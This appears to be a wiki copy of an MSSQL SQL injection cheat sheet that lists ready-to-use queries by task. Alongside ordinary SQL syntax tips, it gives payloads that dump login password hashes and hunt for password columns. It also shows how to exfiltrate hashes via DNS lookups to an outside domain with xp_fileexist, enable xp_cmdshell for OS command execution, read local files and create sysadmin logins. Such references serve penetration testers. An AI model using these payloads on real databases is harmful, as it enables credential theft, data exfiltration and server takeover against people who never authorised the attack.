====== Hacking - SQL Injection Cheat Sheet (MSSQL) ======


|Version|SELECT @@version|
|Comments|SELECT 1 -- comment|
|SELECT /*comment*/1|
|Current User|<code>
SELECT user_name();
|SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
</code>|
|List Users|SELECT name FROM master..syslogins|
|List Password Hashes|<code>
SELECT name, password FROM master..sysxlogins -- priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
</code>|
|Password Cracker|MSSQL 2000 and 2005 Hashes are both SHA1-based. [[https://labs.portcullis.co.uk/application/phrasen-drescher/|phrasen|drescher]] can crack these.|
|List Privileges|Impossible?|
|List DBA Accounts|<code>
TODO
SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.
Also try 'bulkadmin', 'systemadmin' and other values from the [[https://msdn.microsoft.com/en-us/library/ms176015.aspx|documentation]]
SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
</code>|
|Current Database|SELECT DB_NAME()|
|List Databases|<code>
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
</code>|
|List Columns|<code>
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
</code>|
|List Tables|<code>
SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
</code>|
|Find Tables From Column Name|<code>
-- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
</code>|
|Select Nth Row|SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row|
|Select Nth Char|SELECT substring('abcd', 3, 1) -- returns c|
|Bitwise AND|<code>
SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0
</code>|
|ASCII Value -> Char|SELECT char(0x41) -- returns A|
|Char -> ASCII Value|SELECT ascii('A') -- returns 65|
|Casting|<code>
SELECT CAST('1' as int);
SELECT CAST(1 as char)
</code>
|String Concatenation|SELECT 'A' + 'B' - returns AB|
|If Statement|IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1|
|Case Statement|SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1|
|Avoiding Quotes|SELECT char(65)+char(66) -- returns AB|
|Time Delay|WAITFOR DELAY '0:0:5' -- pause for 5 seconds|
|Make DNS Requests|<code>
declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
-- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
</code>|
|Command Execution|<code>
EXEC xp_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; -- priv
RECONFIGURE; -- priv
EXEC sp_configure 'xp_cmdshell', 1; -- priv
RECONFIGURE; -- priv
</code>|
|Local File Access|<code>
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
</code>
|Hostname, IP Address|SELECT HOST_NAME()|
|Create Users|EXEC [[http://msdn2.microsoft.com/en-us/library/ms173768.aspx|sp_addlogin]] 'user', 'pass'; -- priv|
|Drop Users|EXEC [[http://msdn2.microsoft.com/en-us/library/ms189767.aspx|sp_droplogin]] 'user'; -- priv|
|Make User DBA|EXEC [[http://msdn2.microsoft.com/en-us/library/ms186320.aspx|master.dbo.sp_addsrvrolemember]] 'user', 'sysadmin; -- priv|
|Location of DB files|TODO|
|Default/System Databases|<code>
northwind
model
msdb
pubs
tempdb
</code>|

----

===== References =====

https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql